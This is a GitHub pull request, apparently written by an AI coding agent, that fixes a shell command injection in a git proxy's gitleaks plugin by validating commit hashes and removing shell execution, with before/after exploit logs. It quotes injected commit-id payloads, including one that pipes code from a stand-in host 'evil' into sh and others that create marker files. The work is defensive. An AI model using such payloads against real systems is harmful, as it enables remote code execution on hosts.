Skip to content

fix(gitleaks): block shell command injection via push commit ids - #50

Open
devin-ai-integration[bot] wants to merge 1 commit into
mainfrom
devin/1793858056-gitleaks-commit-id-injection
Open

devin-ai-integration[bot] wants to merge 1 commit into
mainfrom
devin/1793858056-gitleaks-commit-id-injection

Conversation

@devin-ai-integration

@devin-ai-integration devin-ai-integration Bot commented Nov 5, 2026 •

Copy link
Copy Markdown

Description

Fixes code scan finding sfind-e17524a8 (OS command injection). When plugins.gitleaks.enabled: true is set, the old and new commit ids were taken from the push request's pkt-line (<old> <new> <ref>) without any validation. gitleaks.ts then interpolated them into --log-opts='--first-parent <from>^..<to>' and ran that with spawn(..., { shell: true }). A single quote in the new commit id (e.g. :/.*|x'$(curl${IFS}evil/x|sh)'x) closed the quote, and /bin/sh ran the payload on the proxy host.

The fix has two layers:

  • parsePush.ts: rejects the ref update unless both oldCommit and newCommit are lowercase hex, either 40 characters (SHA-1) or 64 (SHA-256). This uses a new COMMIT_HASH_REGEX in processors/constants.ts. The push is blocked with Your push has been blocked. Invalid commit id in ref update. before setCommit runs. This also protects getDiff, checkHiddenCommits, preReceive and the .remote path, which all use these values.
  • gitleaks.ts: runCommand no longer uses shell: true. --log-opts=--first-parent <from>[^]..<to> is now passed as a single argv entry. The argv gitleaks receives is the same as before, because the shell was only stripping the quotes. As defense in depth, the step refuses to run gitleaks (Invalid commit range, refusing to run gitleaks.) if commitFrom or commitTo is not a hash. This also covers the commitFrom that comes from the pack's parent when the old commit is 000…0.

API contract: no endpoints change. The only behavior change is that pushes with commit ids that aren't full hex are now blocked. A real git client always sends full hex.

Related: PR #7 is an older partial fix that only removes shell: true. If this PR lands, #7 can be closed.

How to test

  • Unit tests: npx vitest --run test/testParsePush.test.ts test/processors/gitLeaks.test.ts → 69/69 pass. New tests:

    • parsePush blocks abc'$(touch${IFS}/tmp/pwned)', the finding's :/…|sh payload, an old commit containing a quote, an abbreviated hash, uppercase hex and the wrong length, all without calling setCommit. It accepts SHA-256 ids.
    • gitleaks calls spawn without the shell option and passes --log-opts=--first-parent <from>^..<to> as one argv entry. It does not call spawn when commitFrom/commitTo contain a shell payload or are missing.
    • The oldhash1 newhash1 fixtures were replaced with valid hex hashes.
  • Local end-to-end exploit reproduction: real spawn, a real git repo and a stand-in gitleaks on PATH, with new commit <sha>'$(touch${IFS}<marker>)'. Full output is in the PR comment.

    main (e0d7b0f) this branch (059d6fe)
    parsePush with malicious new commit accepted; payload stored in action.commitTo blocked: Invalid commit id in ref update
    gitleaks step with malicious commitTo runs; marker file created (RCE) refused: Invalid commit range; no marker
    gitleaks step with a valid range argv --log-opts=--first-parent <from>^..<to> same argv
  • Full suite (vitest, excluding test/integration): the only failures are test/ConfigLoader.test.ts and test/plugin/plugin.test.ts, which fail the same way on main in this VM (they need network access and built packages). tests/e2e (needs Docker) and experimental/ weren't run.

  • CI: the build-* jobs fail on this PR and on every other open PR for reasons outside this change. The 2 ConfigLoader loadRemoteConfig tests reject the upstream finos proxy.config.json (sink key), and the mongo:8.0 container never starts. Lint, e2e (vitest and cypress) and CodeQL pass.

Related Issue

Code scan finding sfind-e17524a8b9d94ea8895e52910b63c0d0 (scan scan-70082f73b42b43fda8ae0a7ecbe7fedf).

Checklist

General

Documentation

  • Documentation has been added/updated for any new features

Configuration

  • If configuration schema (config.schema.json) was modified:
    • TypeScript types regenerated (npm run generate-config-types)
    • Schema reference docs regenerated (npm run gen-schema-doc)

Tests

  • Tests have been added/updated for new functionality
  • Unit tests pass (npm test): affected files pass; the remaining failures already exist on main (see above)
  • Linting and formatting pass (npm run lint and npm run format:check)
  • Type checks pass (npm run check-types): no errors in src/proxy; the only errors are the existing UI ones in AttestationInfo.tsx, which also fail on main

Devin-Org: engineering

Link to Devin session: https://devin-gtm.devinenterprise.com/sessions/0ff4bf25f49d49748efd445d88484fc8
Open in Devin Desktop: https://devin-gtm.devinenterprise.com/desktop/session/0ff4bf25f49d49748efd445d88484fc8?variant=devin
Requested by: @schaudhry123


Devin Review

Status Commit
⚪ Not started —

Run Devin Review

Enable auto-review to review your pull requests automatically.

Devin Review (Staging)


Devin Review

Validate old/new commit ids in parsePush as full 40/64-char lowercase hex,
spawn gitleaks without a shell, pass --log-opts as a single argument and
refuse to scan a non-hash commit range.

Co-Authored-By: Samir Chaudhry <samir@cognition.ai>
@devin-ai-integration

Copy link
Copy Markdown
Author

I'll fix CI failures and address comments from users with write access. I'll skip comments containing "(aside)".

  • Disable automatic comment, CI, and merge conflict monitoring

@github-actions

github-actions Bot commented Nov 5, 2026

Copy link
Copy Markdown

Dependency Review

✅ No vulnerabilities or license issues or OpenSSF Scorecard issues found.

Scanned Files

None

@devin-ai-integration devin-ai-integration Bot left a comment

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔍 Devin Review: 1 flag

Not posted on this PR by your GitHub settings — view it in Devin Review. (Configure)

Devin Review

@devin-ai-integration

Copy link
Copy Markdown
Author

Testing proof: exploit reproduction before/after

Real spawn, a real git repo and a stand-in gitleaks binary on PATH (it records its argv). Gitleaks plugin enabled. The same harness ran on main and on this branch; the marker file is the injected command's side effect.

=== Exploit reproduction: main (before fix) ===
branch under test : main @ e0d7b0fc
shell payload     : <sha>'$(touch${IFS}/home/ubuntu/proof-e2e/pwned)'
[1] parsePush with malicious new commit id
    step error      : false
    action.commitTo : 4fcec67c0be590ab165a862df97cd534da0620de'$(touch${IFS}/home/ubuntu/proof-e2e/pwned)'
gitleaks - Scanning range with gitleaks: 978dca3c321cf560435fe45b4ad9dcc0d377eca9:4fcec67c0be590ab165a862df97cd534da0620de'$(touch${IFS}/home/ubuntu/proof-e2e/pwned)' in /home/ubuntu/proof-e2e/repo
gitleaks - Succeeded.
gitleaks - Gitleaks output: 
[2] gitleaks step with malicious commitTo (plugins.gitleaks.enabled = true)
    step error      : false
    marker created  : YES  <-- command executed on host
gitleaks - Scanning range with gitleaks: 978dca3c321cf560435fe45b4ad9dcc0d377eca9:4fcec67c0be590ab165a862df97cd534da0620de in /home/ubuntu/proof-e2e/repo
gitleaks - Succeeded.
gitleaks - Gitleaks output: 
[3] gitleaks step with a valid range
    step error      : false
    argv received by gitleaks:
      --exit-code=99
      --platform=none
      --ignore-gitleaks-allow
      --no-banner
      --redact
      --verbose
      git
      --log-opts=--first-parent 978dca3c321cf560435fe45b4ad9dcc0d377eca9^..4fcec67c0be590ab165a862df97cd534da0620de
FINAL: marker file /home/ubuntu/proof-e2e/pwned exists = true
 ✓ test/zz-proof.test.ts (1 test) 52ms
 Test Files  1 passed (1)
      Tests  1 passed (1)

=== Exploit reproduction: PR #50 branch (after fix) ===
branch under test : devin/1793858056-gitleaks-commit-id-injection @ 059d6fee
shell payload     : <sha>'$(touch${IFS}/home/ubuntu/proof-e2e/pwned)'
parsePackFile - Invalid commit id in ref update.
parsePackFile - Unable to parse push. Please contact an [REDACTED SECRET]istrator for support: Your push has been blocked. Invalid commit id in ref update.
[1] parsePush with malicious new commit id
    step error      : true  Unable to parse push. Please contact an [REDACTED SECRET]istrator for support: Your push has been blocked. Invalid commit id in ref update.
    action.commitTo : undefined
gitleaks - Invalid commit range, refusing to run gitleaks.
[2] gitleaks step with malicious commitTo (plugins.gitleaks.enabled = true)
    step error      : true  Invalid commit range, refusing to run gitleaks.
    marker created  : no
gitleaks - Scanning range with gitleaks: 30b1fe6f74d5ae13e0eea0f3bacbdc54d71f0768:cfc05fe59e944b6f59c7d2d2e16b454b0225aff4 in /home/ubuntu/proof-e2e/repo
gitleaks - Succeeded.
gitleaks - Gitleaks output: 
[3] gitleaks step with a valid range
    step error      : false
    argv received by gitleaks:
      --exit-code=99
      --platform=none
      --ignore-gitleaks-allow
      --no-banner
      --redact
      --verbose
      git
      --log-opts=--first-parent 30b1fe6f74d5ae13e0eea0f3bacbdc54d71f0768^..cfc05fe59e944b6f59c7d2d2e16b454b0225aff4
FINAL: marker file /home/ubuntu/proof-e2e/pwned exists = false
 ✓ test/zz-proof.test.ts (1 test) 47ms
 Test Files  1 passed (1)
      Tests  1 passed (1)

=== Regression tests on PR #50 branch ===
 ✓ test/testParsePush.test.ts (54 tests) 154ms
 ✓ test/processors/gitLeaks.test.ts (15 tests) 128ms
 Test Files  2 passed (2)
      Tests  69 passed (69)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant